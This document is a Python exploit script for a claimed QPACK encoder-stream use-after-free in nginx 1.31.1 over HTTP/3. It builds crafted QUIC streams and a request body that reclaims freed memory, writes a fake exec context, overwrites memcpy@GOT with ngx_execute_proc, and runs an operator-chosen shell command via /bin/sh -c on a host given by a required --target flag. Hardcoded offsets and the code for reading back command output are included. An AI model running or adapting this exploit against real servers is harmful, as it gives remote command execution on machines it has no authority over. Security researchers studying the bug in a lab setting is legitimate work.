Write stage only QPACK encoder-stream UAF exploit for nginx 1.31.1 CVE-2026-42530

#!/usr/bin/env python3
"""
Write-only QPACK encoder-stream UAF exploit for nginx 1.31.1.
There is no leak stage and no profile file. --target and --command are
mandatory. The PIE base and the two write-stage offsets are hardcoded in
the CONFIG block below. Set PIE_BASE to 0 for a non-PIE target (offsets are
then absolute addresses), or to the leaked PIE load base for a PIE target.
Non-PIE example (the build in /tmp/nginx-1311-nopie):
PIE_BASE = 0x0
MEMCPY_GOT = 0xAB9668
EXECUTE_PROC = 0x4B7782
PIE example (the included nginx 1.31.1 PIE lab build):
PIE_BASE =
MEMCPY_GOT = 0x72C668
EXECUTE_PROC = 0x13DFC0
The exploit sends a POST /p request whose body reclaims the freed encoder
stream pool, then reopens the encoder stream and uses the dangling insert
buffer as a fake ngx_buf_t. The insert writes a fake ngx_exec_ctx_t over
memcpy@GOT - 0x20 and overwrites memcpy@GOT with ngx_execute_proc. The
final name copy calls it as /bin/sh -c .
"""
#
# Target nginx configuration (reference copy; this is a comment, not active
# code). Write-only lab server on port 18452.
#
# worker_processes 1;
# master_process off;
# daemon off;
#
# error_log logs/error.log info;
# pid logs/nginx.pid;
#
# events {
# worker_connections 1024;
# }
#
# http {
# access_log off;
#
# # QPACK write server: stock HTTP/3 reverse proxy, 512-byte header buffer
# # so the reset, request body, and reopened encoder fit one QUIC batch.
# server {
# listen 127.0.0.1:18452 quic reuseport;
# server_name localhost;
#
# ssl_certificate ../cert.pem;
# ssl_certificate_key ../key.pem;
# ssl_protocols TLSv1.3;
#
# client_header_buffer_size 512;
#
# location /p {
# client_body_buffer_size 16k;
#
# proxy_pass http://127.0.0.1:19096;
# proxy_http_version 1.1;
# proxy_set_header Host $host;
# }
# }
# }
#
import argparse
import asyncio
import struct
import sys
from pathlib import Path
from aioquic.asyncio import connect, QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ConnectionTerminated
# ===========================================================================
# Hardcoded configuration
# ===========================================================================
# Default write port used when --target does not include one. The host and
# command always come from the mandatory --target / --command flags.
TARGET_PORT = 18452
# 0 for a non-PIE binary; leaked load base for a PIE binary.
PIE_BASE = 0x0
# Non-PIE nginx 1.31.1 addresses (PIE_BASE = 0).
MEMCPY_GOT = 0xAB9668 # .got.plt memcpy slot
EXECUTE_PROC = 0x4B7782 # ngx_execute_proc
# PIE nginx 1.31.1 offsets (uncomment and set PIE_BASE to the leaked base):
# PIE_BASE = 0x0000000000000000
# MEMCPY_GOT = 0x72C668
# EXECUTE_PROC = 0x13DFC0
# QPACK write-stage layout. These match the 1.31.1 512-byte header buffer
# and the 1060-byte request body used by the lab target.
BODY_LEN = 1060
HDR_BUF = 512
MAX_DATAGRAM = 1500
CTX_LEN = 124
MAX_COMMAND = 40
FAKE_OFF = HDR_BUF - 27 - 3 + 528
# ===========================================================================
# HTTP/3 / QPACK helpers
# ===========================================================================
def hpint(n, bits, first):
mask = (1 << bits) - 1
if n < mask:
return bytes([first | n])
out = bytearray([first | mask])
n -= mask
while n >= 128:
out.append((n & 0x7F) | 0x80)
n >>= 7
out.append(n)
return bytes(out)
def qvint(n):
if n < 64:
return bytes([n])
if n < 16384:
return bytes([0x40 | (n >> 8), n & 0xFF])
return bytes([0x80 | (n >> 24), (n >> 16) & 0xFF,
(n >> 8) & 0xFF, n & 0xFF])
def frame(t, payload):
return qvint(t) + qvint(len(payload)) + payload
def insert_literal(name, value):
return hpint(len(name), 5, 0x40) + name + hpint(len(value), 7, 0) + value
def hdr_post(path, body_len):
p = path.encode()
cl = str(body_len).encode()
return (b"\x00\x00" +
b"\xd4" + # :method POST
b"\xd7" + # :scheme https
b"\x51" + hpint(len(p), 7, 0) + p +
b"\x50\x09localhost" + # :authority
b"\x54" + hpint(len(cl), 7, 0) + cl)
def make_ctx(command, target, exec_proc):
if len(command) > MAX_COMMAND:
raise RuntimeError(
f"command is {len(command)} bytes; max {MAX_COMMAND} bytes")
ctx = bytearray(CTX_LEN)
def q(off, val):
struct.pack_into("<Q", ctx, off, val)
q(0x00, target + 0x48) # path
q(0x08, target + 0x48) # name
q(0x10, target + 0x28) # argv
q(0x18, 0) # envp
q(0x20, exec_proc) # overwrite memcpy@GOT
q(0x28, target + 0x48) # argv[0]
q(0x30, target + 0x50) # argv[1] -c
q(0x38, target + 0x53) # argv[2] command
q(0x40, 0) # argv[3]
ctx[0x48:0x50] = b"/bin/sh\0"
ctx[0x50:0x53] = b"-c\0"
ctx[0x53:0x53 + len(command) + 1] = command + b"\0"
return bytes(ctx)
def make_body(target):
body = bytearray(b"Z" * BODY_LEN)
struct.pack_into("<Q", body, FAKE_OFF + 0, target)
struct.pack_into("<Q", body, FAKE_OFF + 8, 0)
struct.pack_into("<Q", body, FAKE_OFF + 16, 0)
struct.pack_into("<Q", body, FAKE_OFF + 24, 0)
struct.pack_into("<Q", body, FAKE_OFF + 32, 0)
struct.pack_into("<Q", body, FAKE_OFF + 40, target + 0x1000)
return bytes(body)
class Sink(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.terminated = None
def quic_event_received(self, event):
if isinstance(event, ConnectionTerminated):
self.terminated = (event.error_code, event.reason_phrase)
# ===========================================================================
# Write stage
# ===========================================================================
async def write_stage(host, port, target, exec_proc, command, verbose):
command_b = command.encode()
ctx = make_ctx(command_b, target, exec_proc)
body = make_body(target)
req = frame(0x01, hdr_post("/p", BODY_LEN)) + frame(0x00, body)
cfg = QuicConfiguration(
is_client=True,
alpn_protocols=H3_ALPN,
verify_mode=False,
max_datagram_size=MAX_DATAGRAM,
)
async with connect(host, port, configuration=cfg,
create_protocol=Sink) as client:
await client.ping()
q = client._quic
# Control stream.
q.send_stream_data(6, b"\x00\x04\x00", end_stream=False)
# First encoder stream: allocate the insert buffer and one table
# entry, then reset it so its pool is freed.
q.send_stream_data(
2,
b"\x02" + hpint(4096, 5, 0x20) +
insert_literal(b"AAAA", b"BBBB"),
end_stream=False,
)
client.transmit()
await asyncio.sleep(0.3)
# Reset the encoder stream. The posted connection close is deferred;
# the request body and the reopened encoder stream are queued in the
# same event-loop turn.
q.reset_stream(2, error_code=0x100)
# Request body reclaims the freed encoder stream pool.
q.send_stream_data(8, req, end_stream=False)
# Reopened encoder stream: the insert parse writes the fake context
# and the GOT overwrite through the dangling insert buffer.
q.send_stream_data(10, b"\x02" + insert_literal(ctx, b""),
end_stream=False)
client.transmit()
await asyncio.sleep(1.0)
if verbose:
print(f"[*] QPACK write sent: ctx={len(ctx)} bytes, "
f"target=0x{target:x}, exec=0x{exec_proc:x}")
# ===========================================================================
# Entry point
# ===========================================================================
def main():
ap = argparse.ArgumentParser(
description="Write-only QPACK UAF exploit (hardcoded config)")
ap.add_argument(
"--target", required=True,
help=f"host or host:write_port (required; "
f"port defaults to {TARGET_PORT})")
ap.add_argument(
"--command", required=True,
help="shell command via /bin/sh -c (required, max 40 bytes)")
ap.add_argument("--verbose", action="store_true")
ap.add_argument(
"--profile", default=None,
help="accepted for compatibility; ignored (offset/base are hardcoded)")
ap.add_argument(
"--nginx", default=None,
help="accepted for compatibility; ignored")
ap.add_argument(
"--write-port", type=int, default=None,
help=f"override write port (default {TARGET_PORT})")
args = ap.parse_args()
port = TARGET_PORT
target = args.target
if "://" in target:
target = target.split("://", 1)[1]
if ":" in target and target.count(":") == 1:
host, port_s = target.rsplit(":", 1)
port = int(port_s)
else:
host = target
if host == "localhost":
host = "127.0.0.1"
if args.write_port is not None:
port = args.write_port
if args.profile is not None:
print("[*] --profile ignored; PIE_BASE/offsets are hardcoded",
file=sys.stderr)
if args.nginx is not None:
print("[*] --nginx ignored; PIE_BASE/offsets are hardcoded",
file=sys.stderr)
command_b = args.command.encode()
if len(command_b) > MAX_COMMAND:
print(f"[-] command is {len(command_b)} bytes; max {MAX_COMMAND}",
file=sys.stderr)
return 2
target_addr = PIE_BASE + MEMCPY_GOT - 0x20
exec_addr = PIE_BASE + EXECUTE_PROC
print("[*] write-only QPACK UAF")
print(f"[*] target: {host}:{port}")
print(f"[*] command: {args.command!r}")
print(f"[*] PIE base: 0x{PIE_BASE:x}")
print(f"[*] fake ctx / memcpy GOT target: 0x{target_addr:x}")
print(f"[*] ngx_execute_proc: 0x{exec_addr:x}")
if "/tmp/qpwnpie" in args.command:
try:
Path("/tmp/qpwnpie").unlink()
except FileNotFoundError:
pass
try:
asyncio.run(write_stage(
host, port, target_addr, exec_addr, args.command, args.verbose))
print("[+] payload sent")
except Exception as e:
print(f"[-] exploit failed: {e}", file=sys.stderr)
if args.verbose:
import traceback
traceback.print_exc()
return 1
outp = Path("/tmp/qpwnpie")
if outp.exists():
try:
text = outp.read_text(errors="replace").strip()
if text:
print("[+] command output:")
print(text)
except Exception:
pass
return 0
if __name__ == "__main__":
raise SystemExit(main())
参与讨论